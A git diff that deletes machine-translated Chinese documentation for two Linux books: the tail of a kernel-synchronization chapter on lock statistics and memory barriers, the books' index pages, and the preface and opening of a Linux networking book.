warning`。由于`lockdep`提前发出警告,这种情况甚至可能发生。重新启动系统,然后重试。 - -Though this book is based on the 5.4 LTS kernel, a powerful feature was (very recently as of the time of writing) merged into the 5.8 kernel: the **Kernel Concurrency Sanitizer** (**KCSAN**). It's a data race detector for the Linux kernel that works via compile-time instrumentation. You can find more details in these LWN articles: *Finding race conditions with KCSAN*, LWN, October 2019 ([https://lwn.net/Articles/802128/](https://lwn.net/Articles/802128/)) and *Concurrency bugs should fear the big bad data-race detector (part 1)*, LWN, April 2020 ([https://lwn.net/Articles/816850/](https://lwn.net/Articles/816850/)). - -Also, FYI, several tools do exist for catching locking bugs and deadlocks in *user space apps*. Among them are the well-known `helgrind` (from the Valgrind suite), **TSan** (**Thread Sanitizer**), which provides compile-time instrumentation to check for data races in multithreaded applications, and lockdep itself; lockdep can be made to work in user space as well (as a library)! Moreover, the modern [e]BPF framework provides the `deadlock-bpfcc(8)` frontend. It's designed specifically to find potential deadlocks (lock order inversions) in a given running process (or thread). - -## 锁定统计信息 - -一个锁可以被*争夺*,也就是当一个上下文想要获取锁,但是它已经被占用了,所以它必须等待解锁发生。严重的争用会造成严重的性能瓶颈;内核通过视图*提供锁统计信息,以便轻松识别竞争激烈的锁*。通过打开`CONFIG_LOCK_STAT`内核配置选项来启用锁统计(如果没有这个选项,`/proc/lock_stat`条目将不存在,这是大多数发行版内核的典型情况)。 - -锁定统计代码利用了这样一个事实,即`lockdep`将钩子插入到锁定代码路径中(`__contended`、`__acquired`和`__released`钩子),以在这些关键点收集统计数据。关于锁统计的简洁的内核文档([https://www . kernel . org/doc/html/latest/lockstat . html # lock-statistics](https://www.kernel.org/doc/html/latest/locking/lockstat.html#lock-statistics))用一个有用的状态图传达了这个信息(以及更多的信息);一定要查一下。 - -### 查看锁定状态 - -查看锁统计信息的几个快速提示和基本命令如下(当然,这假设`CONFIG_LOCK_STAT`打开): - -| **做什么?** | **命令** | -| 清除锁定状态 | `sudo sh -c "echo 0 > /proc/lock_stat"` | -| 启用锁定状态 | `sudo sh -c "echo 1 > /proc/sys/kernel/lock_stat"` | -| 禁用锁定统计信息 | `sudo sh -c "echo 0 > /proc/sys/kernel/lock_stat"` | - -接下来,一个查看锁定统计数据的简单演示:我们编写了一个非常简单的 Bash 脚本,`ch13/3_lockdep/lock_stats_demo.sh`(在本书的 GitHub repo 中查看它的代码)。它清除并启用锁定统计,然后简单地运行`cat /proc/self/cmdline`命令。这实际上会触发一系列代码深入内核(主要在`fs/proc`内部);需要查找几个全局共享的可写数据结构。这将构成一个关键部分,因此将获得锁。我们的脚本将禁用锁统计信息,然后对锁统计信息进行 grep 以查看一些锁,过滤掉其余的锁: - -```sh -egrep "alloc_lock|task|mm" /proc/lock_stat -``` - -在运行它时,我们获得的输出如下(同样,在运行我们定制的 5.4.0 调试内核的 x86_64 Ubuntu 20.04 LTS 虚拟机上): - -![](img/d1162187-848d-451d-b9d9-40e6ae99ded1.png) - -Figure 13.11 – Screenshot showing our lock_stats_demo.sh script running, displaying some of the lock statistics - -(图 13.11*中的输出水平方向很长,因此会缠绕。)显示的时间以微秒为单位。`class name`字段是锁类;我们可以看到几个与任务和内存结构相关的锁(`task_struct`和`mm_struct`)!我们不再重复这些材料,而是让您参考关于锁统计的内核文档,它解释了前面的每个字段(`con-bounces`、`waittime*`等等;提示:`con`是争夺的简称)以及如何解读输出。不出所料,在*图 13.11* 中,在这个简单的情况下,可以看到:* - -* 第一个字段`class_name`是锁类;锁的(符号)名称可以在这里看到。 -* 锁(字段 2 和 3)确实没有争用。 -* 等待时间(`waittime*`,字段 3 至 6)为 0。 -* `acquisitions`字段(#9)是获取(获取)锁的总次数;它是正的(mm_struct 信号量`&mm->mmap_sem*`甚至超过 300)。 - -* 最后四个字段,10 到 13,是累计锁保持时间统计(`holdtime-{min|max|total|avg}`)。同样,在这里,您可以看到 mm_struct `mmap_sem*`锁具有最长的平均保持时间。 -* (请注意,任务结构名为`alloc_lock`的自旋锁也被采用;我们在*示例 1 中遇到了这个问题——使用 lockdep* 部分捕获了一个自身死锁错误。 - -The most contended locks on the system can be looked up via `sudo grep ":" /proc/lock_stat | head`. Of course, you should realize that this is from when the locking statistics were last reset (cleared). - -请注意,由于锁定调试被禁用,锁定统计信息可能被禁用;例如,您可能会遇到这种情况: - -```sh -$ sudo cat /proc/lock_stat -lock_stat version 0.4 -*WARNING* lock debugging disabled!! - possibly due to a lockdep warning -``` - -此警告可能需要您重新启动系统。 - -好了,你快到了!让我们以对记忆障碍的简单介绍来结束这一章。 - -# 记忆障碍-简介 - -最后但同样重要的是,让我们简要地解决另一个问题——记忆障碍。这是什么意思?有时,当微处理器、内存控制器和编译器*可以重新排序*内存读写时,程序流对于人类程序员变得未知。在大多数情况下,这些“技巧”保持良性和优化。但是在某些情况下——通常跨越硬件边界,例如多核系统上的 CPU 内核、CPU 到外围设备,以及在**单处理器** ( **UP** )上反之亦然——这种重新排序*不应该发生*;必须遵守原始和预期的内存加载和存储顺序。*内存屏障*(通常是嵌入在`*mb*()`宏中的机器级指令)是抑制这种重新排序的一种手段;这是一种强制 CPU/内存控制器和编译器按照所需顺序对指令/数据进行排序的方法。 - -可以使用以下宏将内存屏障置于代码路径中:`#include `: - -* `rmb()`:在指令流中插入读取(或加载)内存屏障 -* `wmb()`:在指令流中插入写(或存储)内存屏障 -* `mb()`:一般记忆障碍;直接引用内存屏障的内核文档([https://www . kernel . org/doc/Documentation/memory-barrier . txt](https://www.kernel.org/doc/Documentation/memory-barriers.txt)),“*一般的内存屏障保证屏障之前指定的所有 LOAD 和 STORE 操作都将出现在屏障之后指定的所有 LOAD 和 STORE 操作之前,相对于系统的其他组件*” - -内存屏障确保除非前面的指令或数据访问执行,否则后面的指令或数据访问不会执行,从而保持顺序。在一些(罕见的)情况下,DMA 是可能的,驱动程序作者使用内存障碍。使用 DMA 时,阅读内核文档([https://www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt](https://www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt))很重要。它提到了在哪里使用记忆障碍,以及不使用它们的危险;有关这方面的更多信息,请参见下面的示例。 - -对于我们许多人来说,内存屏障的放置通常是一件相当复杂的事情,因此我们敦促您参考相关的技术参考手册,了解更多详细信息。比如在树莓 Pi 上,SoC 是博通 BCM2835 系列;参考其外设手册-*BCM 2835 ARM 外设*手册([https://www . raspberrypi . org/app/uploads/2012/02/BCM 2835-ARM-外设. pdf](https://www.raspberrypi.org/app/uploads/2012/02/BCM2835-ARM-Peripherals.pdf) ),第 1.3 节,*正确内存排序的外设访问注意事项*-有助于理清何时以及何时不使用内存屏障。 - -## 在设备驱动程序中使用内存屏障的示例 - -以 Realtek 8139“快速以太网”网络驱动程序为例。为了通过 DMA 传输网络数据包,必须首先设置一个 DMA(传输)描述符对象。对于这个特定的硬件(网卡芯片),DMA 描述符对象定义如下: - -```sh -//​ drivers/net/ethernet/realtek/8139cp.c -struct cp_desc { - __le32 opts1; - __le32 opts2; - __le64 addr; -}; -``` - -DMA 描述符对象,命名为`struct cp_desc`,有三个“字”每个都必须初始化。现在,为了确保描述符被直接存储器存取控制器正确解释,对直接存储器存取描述符的写入按照驱动程序作者想要的顺序来看通常是至关重要的。为了保证这一点,使用了内存屏障。事实上,相关的内核文档-*动态 DMA 映射指南*([https://www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt](https://www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt))告诉我们要确保确实如此。因此,例如,在设置 DMA 描述符时,您必须按如下方式进行编码,以在所有平台上获得正确的行为: - -```sh -desc->word0 = address; -wmb(); -desc->word1 = DESC_VALID; -``` - -因此,请查看 DMA 传输描述符实际上是如何设置的(通过 Realtek 8139 驱动程序代码,如下所示): - -```sh -// drivers/net/ethernet/realtek/8139cp.c -[ ... ] -static netdev_tx_t cp_start_xmit([...]) -{ - [ ... ] - len = skb->len; - mapping = dma_map_single(&cp->pdev->dev, skb->data, len, PCI_DMA_TODEVICE); - [ ... ] - struct cp_desc *txd; - [ ... ] - txd->opts2 = opts2; - txd->addr = cpu_to_le64(mapping); - wmb(); - opts1 |= eor | len | FirstFrag | LastFrag; - txd->opts1 = cpu_to_le32(opts1); - wmb(); - [...] -``` - -驱动程序根据芯片数据表的要求,要求将单词`txd->opts2`和`txd->addr`存储到内存中,然后存储`txd->opts1`单词。由于*这些写操作的顺序很重要*,驱动程序利用了`wmb()`写内存屏障。(另外,仅供参考,RCU 肯定是使用适当的内存屏障来强制内存排序的用户。) - -此外,在单个变量*上使用`READ_ONCE()`和`WRITE_ONCE()`宏绝对保证编译器和中央处理器会按照你的意思做*。它将根据需要排除编译器优化,根据需要使用内存屏障,并在不同内核上的多个线程同时访问有问题的变量时保证缓存一致性。 - -有关详细信息,请参考内存屏障的内核文档([https://www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt](https://www.kernel.org/doc/Documentation/DMA-API-HOWTO.txt))。它有一个名为*的详细章节,在那里需要记忆障碍?*。好消息是,大部分都是在幕后处理的;对于驱动程序作者来说,只有在执行设置 DMA 描述符或启动和结束 CPU 到外设(反之亦然)的通信等操作时,您才可能需要屏障。 - -最后一件事——一个(不幸的)常见问题:使用`volatile`关键字会神奇地让并发问题消失吗?当然不是。`volatile`关键字只是指示编译器禁用围绕该变量的常见优化(代码路径之外的东西也可以修改标记为`volatile`的变量),仅此而已。在与 MMIO 合作时,这通常是必需且有用的。关于内存障碍,有趣的是,编译器不会对标记为`volatile`的变量相对于其他易失性变量的读写进行重新排序。尽管如此,原子性是一个独立的构造,而不是通过使用`volatile`关键字来保证的。 - -# 摘要 - -好吧,你知道什么!?恭喜你,你做到了,你完成了这本书! - -在这一章中,我们继续上一章的探索,以了解更多关于内核同步的知识。在这里,您学习了如何通过`atomic_t`和更新的`refcount_t`接口更有效和安全地对整数执行锁定。在本课程中,您学习了如何在驱动程序作者的常见活动中自动安全地使用典型的 RMW 序列——更新设备的寄存器。读者-作者自旋锁,有趣和有用,尽管有几个警告,然后涵盖。您看到了错误地创建由不幸的缓存副作用引起的不利性能问题是多么容易,包括查看错误共享问题以及如何避免它。 - -对开发人员的一个好处——无锁算法和编程技术——随后被详细介绍,重点是 Linux 内核中的每 CPU 变量。仔细学习如何使用这些是很重要的(尤其是像 RCU 这样更高级的形式)。最后,您了解了什么是记忆障碍,以及它们通常在哪里使用。 - -您在 Linux 内核(以及相关领域,如设备驱动程序)中的漫长工作之旅现在已经认真开始了。但是,要意识到,如果没有持续的实践和对这些材料的实际操作,果实会很快消失...我敦促你与这些话题和其他话题保持联系。随着你知识和经验的增长,为 Linux 内核(或者任何开源项目)做贡献是一种高尚的努力,你最好去做。 - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些回答的问题:[https://github.com/PacktPublishing/](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)T4【Linux-内核-编程[/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Learn-Linux-Kernel-Development/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的进一步阅读文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此处获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。* \ No newline at end of file diff --git a/docs/linux-kernel-prog/README.md b/docs/linux-kernel-prog/README.md deleted file mode 100644 index a4555e9a..00000000 --- a/docs/linux-kernel-prog/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# Linux 内核编程 - -> 原文:[Linux Kernel Programming](https://libgen.rs/book/index.php?md5=86EBDE91266D2750084E0C4C5C494FF7) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/linux-kernel-prog/SUMMARY.md b/docs/linux-kernel-prog/SUMMARY.md deleted file mode 100644 index e8e5e7e8..00000000 --- a/docs/linux-kernel-prog/SUMMARY.md +++ /dev/null @@ -1,18 +0,0 @@ -+ [Linux 内核编程](README.md) -+ [零、前言](00.md) -+ [第一部分:基础](sec1.md) - + [一、内核工作空间的设置](01.md) - + [二、从源码构建 5.x Linux 内核——第一部分](02.md) - + [三、从源码构建 5.x Linux 内核——第二部分](03.md) - + [四、编写你的第一个内核模块——LKMs 第一部分](04.md) - + [五、编写你的第一个内核模块——LKMs 第二部分](05.md) -+ [第二部分:理解和使用内核](sec2.md) - + [六、内核内部原理——进程和线程](06.md) - + [七、内存管理内部原理——要点](07.md) - + [八、面向模块作者的内核内存分配——第一部分](08.md) - + [九、面向模块作者的内核内存分配——第二部分](09.md) -+ [第三部分:深入研究](sec3.md) - + [十、CPU 调度器——第一部分](10.md) - + [十一、CPU 调度器——第二部分](11.md) - + [十二、内核同步——第一部分](12.md) - + [十三、内核同步——第二部分](13.md) diff --git a/docs/linux-kernel-prog/sec1.md b/docs/linux-kernel-prog/sec1.md deleted file mode 100644 index 27c17b90..00000000 --- a/docs/linux-kernel-prog/sec1.md +++ /dev/null @@ -1,17 +0,0 @@ -# 第一部分:基础 - -在这里,您将学习如何执行基本的内核开发任务。您将建立一个内核开发工作区,从源代码构建一个 Linux 内核,了解 LKM 框架,并编写一个“你好,世界”内核模块。 - -本节包括以下章节: - -* [第 1 章](01.html)、*内核工作空间设置* -* [第 2 章](02.html),*从源代码构建 5.x Linux 内核,第 1 部分* -* [第 3 章](03.html),*从源代码构建 5.x Linux 内核,第 2 部分* -* [第 4 章](04.html),*编写您的第一个内核模块–LKMs 第 1 部分* -* [第 5 章](05.html),*编写您的第一个内核模块–LKMs 第 2 部分* - -我们强烈建议您也利用本书的配套指南 *Linux 内核编程(第 2 部分)*。 - -这是一本优秀的面向行业的初学者指南,用于编写`misc`字符驱动程序、在外围芯片内存上执行 I/O 以及处理硬件中断。这本书主要是为开始寻找设备驱动程序开发方法的 Linux 程序员准备的。寻求克服频繁和常见的内核/驱动程序开发问题的 Linux 设备驱动程序开发人员,以及理解和学习执行常见的驱动程序任务-现代 **Linux 设备模型** ( **LDM** )框架,用户内核接口,执行外围 I/O,处理硬件中断,处理并发性等等-将受益于这本书。需要对 Linux 内核内部(和常见的 API)、内核模块开发和 C 编程有基本的了解。 - -你可以免费获得这本书以及你的副本,或者你也可以在 GitHub 资源库中找到这本书:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/Linux-Kernel-Programming-(Part-2)](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/Linux-Kernel-Programming-(Part-2))。 \ No newline at end of file diff --git a/docs/linux-kernel-prog/sec2.md b/docs/linux-kernel-prog/sec2.md deleted file mode 100644 index 8598c2cc..00000000 --- a/docs/linux-kernel-prog/sec2.md +++ /dev/null @@ -1,10 +0,0 @@ -# 第二部分:理解和使用内核 - -许多人纠结于内核开发的一个关键原因是缺乏对其内部的理解。这里,涵盖了内核架构、内存管理和调度的一些要点。 - -本节包括以下章节: - -* [第 6 章](06.html),*内核内部要素–进程和线程* -* [第 7 章](07.html),*内存管理内部组件–要点* -* [第 8 章](08.html),*模块作者的内核内存分配,第 1 部分* -* [第 9 章](09.html),*模块作者的内核内存分配,第 2 部分* \ No newline at end of file diff --git a/docs/linux-kernel-prog/sec3.md b/docs/linux-kernel-prog/sec3.md deleted file mode 100644 index 69b5de11..00000000 --- a/docs/linux-kernel-prog/sec3.md +++ /dev/null @@ -1,8 +0,0 @@ -# 第三部分:深入研究 - -在这里,您将了解一个高级且关键的主题:内核同步技术和 API 背后的概念、需求和使用。 - -本节包括以下章节: - -* [第 12 章](12.html),*内核同步-第 1 部分* -* [第十三章](13.html),*内核同步-第二部分* \ No newline at end of file diff --git a/docs/linux-net-prof/00.md b/docs/linux-net-prof/00.md deleted file mode 100644 index d0158538..00000000 --- a/docs/linux-net-prof/00.md +++ /dev/null @@ -1,112 +0,0 @@ -# 零、前言 - -欢迎来到*Linux 网络专业人员*! 如果您曾经想过如何降低支持您的网络的主机和服务的成本,那么您就来对地方了。 或者,如果您正在考虑如何开始保护 DNS、DHCP 或 RADIUS 等网络服务,我们也可以在这方面帮助您。 - -如果有一个服务可以帮助您支持您的网络,我们已经尝试介绍如何通过基本配置使其启动和运行,并帮助您开始保护该服务。 在此过程中,我们试图帮助您选择一个 Linux 发行版,向您展示如何使用 Linux 进行故障排除,并向您介绍一些您可能不知道自己需要的服务。 - -希望我们在本书中所经历的过程能够帮助您向您的网络添加新的服务,并可能帮助您更好地理解您的网络! - -# 这本书是写给谁的 - -这本书适用于任何负责管理网络基础设施的人。 如果你对你的网络中事情如何运作的具体细节感兴趣,这本书就是为你准备的! 如果您经常想知道如何在您的网络上交付组织需要的各种服务,但可能没有预算支付商业产品,那么您也会发现我们的讨论很有趣。 我们将介绍所讨论的每一种 Linux 服务的工作方式,以及如何在典型环境中配置它们。 - -最后,如果您关心攻击者如何查看您的网络资产,您将会发现许多您感兴趣的东西! 我们将讨论攻击者和恶意软件通常如何攻击网络上的各种服务,以及如何保护这些服务。 - -由于本书的重点是 Linux,您将发现部署和捍卫我们所涵盖的服务的预算更多地是以您的热情和学习新有趣事物的时间来衡量的,而不是以美元和美分来衡量! - -# 这本书的内容 - -[*第 1 章*](01.html#_idTextAnchor014),*欢迎来到 Linux 家族*,包含了 Linux 的简短历史和各种 Linux 发行版的描述。 此外,我们还为您的组织选择 Linux 发行版提供一些建议。 - -[*第二章*](02.html#_idTextAnchor035),*基本的 Linux 网络配置和操作使用本地接口*,在 Linux 中,讨论了网络接口配置,许多管理员可以是一个真正的绊脚石,尤其是当决定了服务器不需要一个 GUI。 在本章中,我们将讨论如何从命令行配置各种网络接口参数,以及许多关于 IP 和 MAC 层的基础知识。 - -[*第三章*](03.html#_idTextAnchor053),*使用 Linux 和 Linux 工具进行网络诊断*,涵盖了诊断和解决网络问题,几乎是所有网络管理员的日常工作。 在本章中,我们将继续探索,我们开始在前一章,TCP 和 UDP 基础层。 掌握了这些信息之后,我们将讨论使用本地 Linux 命令以及常见的附加组件进行本地和远程网络诊断。 我们将以评估无线网络的讨论结束本章。 - -第四章[](04.html#_idTextAnchor071)*,*Linux 防火墙*,解释说,Linux 防火墙对于许多管理员可以是一个真正的挑战,特别是有多个不同的“代”iptables / ipchains 防火墙的实现。 我们将讨论 Linux 防火墙的发展,并实现它来保护 Linux 上的特定服务。* - - *[*第五章*](05.html#_idTextAnchor085),*Linux 安全标准与现实生活中的例子*,覆盖保护您的 Linux 主机,这始终是一个移动的目标,这取决于服务上实现主机和环境的部署。 我们将讨论这些挑战,以及您可以用来告知您的安全决策的各种安全标准。 特别地,我们将讨论**Center for Internet Security**(**CIS**)关键控制,并通过 Linux 的 CIS 基准测试中的一些建议进行工作。 - -[*第六章*](06.html#_idTextAnchor100),*Linux 上的 DNS 服务*,解释了 DNS 在不同的实例中如何工作,以及如何在 Linux 上实现 DNS 服务,包括内部的和面向 internet 的。 我们还将讨论针对 DNS 的各种攻击,以及如何保护您的服务器免受这些攻击。 - -[*第七章*](07.html#_idTextAnchor118),*DHCP 服务在 Linux 上*,包括 DHCP,用于客户机工作站 IP 地址问题,以及“推”无数的各种配置选项,客户端设备。 在本章中,我们将举例说明如何在传统工作站的 Linux 上实现这一点,并讨论你应该考虑的其他设备,如**Voice over IP**(**VoIP**)电话。 - -[*第 8 章*](08.html#_idTextAnchor133)、*Linux 上的证书服务*涵盖了在许多网络基础设施中经常被视为“魔鬼”的证书。 在这一章中,我们试图揭开它们是如何工作的,以及如何为您的组织在 Linux 上实现一个免费的证书颁发机构。 - -[*第 9 章*](09.html#_idTextAnchor153),*RADIUS 服务 for Linux*,介绍了如何在 Linux 上使用 RADIUS 作为各种网络设备和服务的认证。 - -[*第十章*](10.html#_idTextAnchor170),*为 Linux*,负载均衡器服务解释说,Linux 是一个伟大的负载均衡器,允许“免费”负载平衡服务绑定到每个工作负载,而不是传统的,昂贵的,单片每数据中心负载均衡解决方案,我们经常看到。 - -[*第 11 章*](11.html#_idTextAnchor192)、*Linux 上的抓包分析*讨论了 Linux 作为抓包主机。 本章涵盖了如何使这种情况在网络上发生,以及探索各种过滤方法以获得解决问题所需的信息。 我们使用各种攻击 VoIP 系统来说明如何完成这项工作! - -[*第十二章*](12.html#_idTextAnchor216),*Linux 网络监控*,介绍了 Linux 通过 syslog 对流量进行集中日志记录,以及对日志中出现的关键字进行实时报警。 我们还讨论了使用 NetFlow 和相关协议记录网络流量流模式。 - -[*第 13 章*](13.html#_idTextAnchor236),*Linux 上的入侵防御系统*,解释了 Linux 应用用于警告和阻止常见的攻击,以及在流量信息中添加重要的元数据。 我们在这方面探讨了两种不同的解决方案,并展示了如何应用各种过滤器来发现流量和攻击中的各种模式。 - -[*第 14 章*](14.html#_idTextAnchor252),*Linux 上的蜜罐服务*,涵盖了使用蜜罐作为“欺骗主机”来分散和延迟你的攻击者,同时为防御者提供高保真度的警报。 我们也讨论使用蜜罐来研究公共互联网上恶意行为的趋势。 - -# 为了最大限度地了解这本书 - -在本书中,我们将以 Ubuntu Linux 的默认安装为基础,构建大多数示例。 当然,你可以在“裸金属”硬件上安装 Ubuntu,但你可能会发现,使用 VMware(工作站或 ESXi)、VirtualBox 或 Proxmox 等虚拟化解决方案确实有助于你的学习体验(除了 VMware 工作站外,所有这些都是免费的)。 使用虚拟化选项,您可以在已知的优点处对主机进行“快照”,这意味着如果您在试验某个工具或特性时遇到了问题,您可以很容易地回滚该更改并再次尝试。 - -此外,使用虚拟化允许您对主机进行多个拷贝,这样您就可以以一种逻辑的方式实现特性或服务,而不是试图将本书中讨论的所有服务放在同一台主机上。 - -在本书中,我们使用了几个 Linux 服务,大部分是在 Ubuntu Linux version 20(或更新版本)上实现的。 这些服务概述如下: - -![](img/B16336_Preface_Table_01.jpg) - -此外,我们使用或讨论了几个您可能不熟悉的“附加”Linux 工具: - -![](img/B16336_Preface_Table_02a.jpg) - -![](img/B16336_Preface_Table_02b.jpg) - -随着本书的进展,所引用的大多数工具和服务都可以安装在单个 Linux 主机上。 这对于实验室设置很有效,但是在真实的网络中,您当然要将重要的服务器分散到不同的主机上。 - -我们将一些工具作为预构建或预打包发行版的一部分进行探索。 在这些情况下,您当然可以在您的管理程序中安装相同的发行版,但是您也可以按照本章的内容来理解本文所阐述的概念、方法和缺陷。 - -# 下载彩色图片 - -我们还提供了一个 PDF 文件,其中包含了本书中使用的屏幕截图/图表的彩色图像。 你可以在这里下载:[http://www.packtpub.com/sites/default/files/downloads/9781800202399_ColorImages.pdf](_ColorImages.pdf)。 - -# 下载示例代码文件 - -你可以从 GitHub 上的[https://github.com/PacktPublishing/Linux-for-Networking-Professionals](https://github.com/PacktPublishing/Linux-for-Networking-Professionals)下载这本书的示例代码文件。 如果代码有更新,它将在现有的 GitHub 存储库中更新。 - -我们还可以从丰富的图书和视频目录中获得其他代码包 - -[https://github.com/PacktPublishing/](https://github.com/PacktPublishing/)。 检查出来! - -# 使用的约定 - -本书中使用了许多文本约定。 - -`Code in text`:表示文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 url、用户输入和 Twitter 句柄。 这里有一个例子:“所有三个工具都是免费的,并且都可以通过标准`apt-get install `命令安装。” - -任何命令行输入或输出都写如下: - -```sh -$ sudo kismet –c -``` - -**粗体**:表示新词条、重要词汇或在屏幕上看到的词汇。 例如,菜单或对话框中的单词会像这样出现在文本中。 下面是一个例子:“在 Linux GUI 中,您可以通过单击顶部面板上的网络图标开始,然后为您的界面选择**设置**。” - -小贴士或重要提示 - -出现这样的。 - -# 联系 - -我们欢迎读者的反馈。 - -**一般反馈**:如果您对本书的任何方面有疑问,请在邮件主题中提及书名,并发送电子邮件至[customercare@packtpub.com](mailto:customercare@packtpub.com)。 - -**Errata**:尽管我们已尽一切努力确保内容的准确性,但错误还是会发生。 如果您在这本书中发现了错误,请向我们报告,我们将不胜感激。 请访问[www.packtpub.com/support/errata](http://www.packtpub.com/support/errata),选择您的图书,点击勘误表提交链接,并输入详细信息。 - -**盗版**:如果您在互联网上发现我们的作品以任何形式的非法拷贝,请提供我们的位置地址或网址。 请通过[copyright@packt.com](mailto:copyright@packt.com)与我们联系,并附上资料链接。 - -**如果你有兴趣成为一名作家**:如果你有一个你擅长的话题,并且你有兴趣写作或写一本书,请访问[authors.packtpub.com](http://authors.packtpub.com)。 - -# 分享你的想法 - -* 一旦您阅读了*Linux for Networking Professionals*,我们很乐意听到您的想法! 请[点击这里直接进入这本书的亚马逊评论页面](https://packt.link/r/1-800-20239-3)并分享你的反馈。 -* 您的评论对我们和技术社区都很重要,并将帮助我们确保提供优质的内容。* \ No newline at end of file diff --git a/docs/linux-net-prof/01.md b/docs/linux-net-prof/01.md deleted file mode 100644 index 328593c4..00000000 --- a/docs/linux-net-prof/01.md +++ /dev/null @@ -1,208 +0,0 @@ -# 一、欢迎加入 Linux 大家庭 - -本书探讨了 Linux 平台和各种基于 Linux 的操作系统——特别是 Linux 如何很好地用于网络服务。 在了解操作系统的基本配置和故障排除之前,我们首先讨论操作系统的一些历史。 从这里开始,我们将在 Linux 上构建各种与网络相关的服务,这些服务在大多数组织中都很常见。 随着进度的推进,我们将在真实主机上构建真实的服务,重点是保护和排除每个服务的故障。 完成这些工作后,您应该对这些服务中的每一个都足够熟悉,以便开始在您自己的组织中实现其中一些或全部服务。 正如他们所说,*每一段旅程都是从*开始的,所以让我们从这一步开始,从 Linux 平台的一般性讨论开始。 - -在本章中,我们将从探索作为操作系统家族的 Linux 开始我们的旅程。 它们都是相关的,但每个都有自己独特的方式,具有不同的优势和特点。 - -我们将涵盖以下主题: - -* 为什么 Linux 很适合网络团队 -* 主流数据中心 Linux -* 专业的 Linux 发行版 -* 虚拟化 -* 为您的组织选择一个 Linux 发行版 - -# 为什么 Linux 适合网络团队 - -在本书中,我们将探索如何使用 Linux 和基于 Linux 的工具来支持和排除网络故障,以及如何在 Linux 平台上安全地部署公共网络基础设施。 - -为什么要将 Linux 用于这些目的呢? 首先,Linux*的体系结构、历史和文化引导*管理员对流程进行脚本化和自动化。 尽管将其发挥到极致可能会使人们陷入有趣的情况,但编写例程任务脚本可以节省大量时间。 - -实际上,编写非例程任务脚本(例如需要每年执行一次的任务)也可以挽救生命——这意味着管理员不需要重新学习如何执行他们 12 个月前完成的任务。 - -脚本化例程任务是一个更大的胜利。 多年来,Windows 管理员已经了解到在**图形用户界面**(**GUI**)中执行一项任务数百次,至少会出现几次误点击。 另一方面,这样的脚本任务保证了一致的结果。 不仅如此,在网络上,管理员通常要为成百上千个站点执行操作,因此脚本通常是在更大范围内完成任务的唯一方法。 - -网络管理员更喜欢 Linux 平台的另一个原因是 Linux(在此之前是 Unix)在有网络的时候就已经存在了。 在服务器端,Linux(或 Unix)服务定义了这些服务,其中相匹配的 Windows 服务是副本,随着时间的推移,它们大多已经发展成具有奇偶性的特性。 - -在工作站上,如果您需要一个工具来管理或诊断网络上的某些内容,那么它可能已经安装好了。 如果您寻找的工具没有安装,只需一行命令就可以安装并运行它,以及所需的任何其他工具、库或依赖项。 并且添加这个工具不需要许可证费用——Linux 和安装在 Linux 上的任何工具(几乎没有例外)都是免费和开源的。 - -最后,在服务器端和桌面端,历史上,Linux 一直是免费的。 即使是现在,当营利性公司对一些主要支持的发行版(例如,Red Hat 和 SUSE)收取许可证费用时,这些公司仍然提供这些发行版的免费版本。 Red Hat 提供了 Fedora Linux 和 CentOS,这两种操作系统都是免费的,并且在某种程度上作为 Red Hat Enterprise Linux 新特性的测试平台版本。 openSUSE(免费的)和 SUSE Linux(收费的)也非常相似,SUSE 发行版经过了更严格的测试,版本升级的节奏也更有规律。 企业版本通常是定期授权的,该授权允许客户访问技术支持,在许多情况下,还允许操作系统更新。 - 